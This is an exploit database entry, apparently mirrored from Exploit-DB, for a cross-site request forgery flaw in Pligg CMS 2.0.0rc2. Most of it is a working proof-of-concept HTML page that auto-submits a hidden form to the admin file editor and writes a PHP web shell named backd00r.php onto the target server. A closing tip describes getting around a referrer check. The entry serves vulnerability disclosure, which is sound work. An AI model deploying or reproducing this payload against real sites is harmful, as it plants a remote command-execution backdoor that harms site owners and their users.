Pligg CMS 2.0.0rc2 - CSRF File Creation Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Pligg CMS 2.0.0rc2 has a CSRF vulnerability allowing file creation by attackers.


                                                ---------------------------------------------------
# Exploit Title: Pligg CMS - CSRF Vulnerability
# Author: DaOne
# Vendor Homepage: http://pligg.com/
# Download link: https://github.com/Pligg/pligg-cms/archive/2.0.0rc2.zip
# Category: webapps/php
# Version: 2.0.0rc2 + old versions
---------------------------------------------------

-Create File by CSRF Exploit-
&#60;html&#62;
&#60;body onload=&#34;document.form.submit();&#34;&#62;
&#60;form action=&#34;http://[target]/pligg/admin/admin_editor.php&#34; method=&#34;post&#34; name=&#34;form&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;updatedfile&#34; value=&#34;&#60;?php system($_REQUEST[&#39;cmd&#39;]); ?&#62;&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;the_file2&#34; value=&#34;/var/www/html/pligg/backd00r.php&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;isempty&#34; value=&#34;1&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;save&#34; value=&#34;Save+Changes&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

# Exploit-DB Note:
# If getting a Wrong Referrer error, use Live HTTP Headers or Tamper Date plugin
# to mitigate the issue.

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1